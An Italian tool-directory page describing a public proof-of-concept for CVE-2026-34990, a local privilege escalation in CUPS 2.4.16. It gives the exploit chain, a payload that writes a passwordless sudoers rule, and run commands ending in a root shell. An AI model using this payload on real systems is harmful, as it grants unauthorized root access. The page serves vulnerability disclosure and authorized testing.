Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-34990-CUPS-LPE-PoC — PoC generico per CVE-2026-34990 - CUPS 2.4.16 Escalation di privilegi locale tramite divulgazione di token locale e sovrascrittura arbitraria di file root. | Kitploit
Strumenti/GitHubGitHub/noorkhalel/cve-2026-34990-cups-lpe-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration Testing
GitHubnoorkhalel/cve-2026-34990-cups-lpe-poc

CVE-2026-34990-CUPS-LPE-PoC

PoC generico per CVE-2026-34990 - CUPS 2.4.16 Escalation di privilegi locale tramite divulgazione di token locale e sovrascrittura arbitraria di file root.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
22425 giorni faNon ancora revisionato

CVE-2026-34990 | PoC di Privilege Escalation Locale in CUPS

Un proof-of-concept generico per CVE-2026-34990, una vulnerabilità di privilege escalation locale che interessa CUPS 2.4.16.

L'exploit dimostra come un utente locale non privilegiato possa abusare dell'autenticazione locale di CUPS e del comportamento di configurazione delle stampanti per ottenere una scrittura arbitraria di file come root ed escalare i privilegi.

Vulnerabilità

  • CVE: CVE-2026-34990
  • Componente: CUPS
  • Versione testata: CUPS 2.4.16
  • Tipo: Privilege Escalation Locale
  • Impatto: Scrittura arbitraria di file come root
  • Versione corretta: CUPS 2.4.17

Crediti della Vulnerabilità

CVE-2026-34990 è stata originariamente segnalata da:

Asim Viladi Oglu Manizada (@manizada)

Non sono lo scopritore di questa vulnerabilità.

Questo repository contiene la mia implementazione proof-of-concept adattata e testata, basata su informazioni tecniche divulgate pubblicamente.

Come Funziona

Ad alto livello, la catena di exploit è:

Local unprivileged user
        |
        v
Create temporary CUPS printer
        |
        v
Trigger outbound IPP authentication
        |
        v
Capture Authorization: Local token
        |
        v
Reuse token against privileged CUPS operations
        |
        v
Create/persist file:// printer
        |
        v
Submit print job
        |
        v
Root-owned arbitrary file write
        |
        v
Privilege escalation

Il PoC utilizza automaticamente il nome utente locale corrente.

Ad esempio, quando eseguito come:

alice

il payload dimostrativo prende di mira:

/etc/sudoers.d/alice-pwn

e tenta di scrivere:

alice ALL=(ALL) NOPASSWD: ALL

Un exploit riuscito può quindi essere verificato con:

sudo -n id

Esempio:

uid=0(root) gid=0(root) groups=0(root)

Requisiti

Il PoC richiede:

  • Linux
  • Python 3
  • Installazione di CUPS vulnerabile
  • ipptool
  • lp
  • lpstat
  • Accesso locale allo scheduler CUPS

Verificare la versione di CUPS:

cups-config --version

Verificare che lo scheduler sia in esecuzione:

lpstat -r

Verificare il listener locale di CUPS:

ss -lnt | grep 631

Utilizzo

Clonare il repository:

git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC

Eseguire:

python3 exploit.py

Output di esempio:

[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn

[+] Local token: <LOCAL_TOKEN>

[*] attempt 1: <printer-name>

[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)

[*] next: sudo -n bash

Dopo un'exploitazione riuscita:

sudo -n bash

Ambito

Questo PoC è intenzionalmente scritto come implementazione generica della CVE divulgata pubblicamente.

Non contiene:

  • Informazioni specifiche di CTF
  • Informazioni su piattaforme di training
  • Nomi di macchine
  • Credenziali
  • Flag
  • Indirizzi IP di target
  • Segreti specifici dell'ambiente

Disclaimer

Questo codice è fornito per:

  • Ricerca sulla sicurezza
  • Riproduzione di vulnerabilità
  • Test difensivi
  • Scopi educativi
  • Penetration testing autorizzato

Utilizzare questo codice solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione esplicita.

L'autore non è responsabile per l'uso improprio di questo software.

Crediti

Scoperta della vulnerabilità:
Asim Viladi Oglu Manizada (@manizada)

Adattamento del PoC, testing e documentazione:
Noor Khalil

Riferimenti

  • CVE-2026-34990
  • OpenPrinting CUPS
  • OpenPrinting Security Advisory - GHSA-c54j-2vqw-wpwp
Scarica lo strumento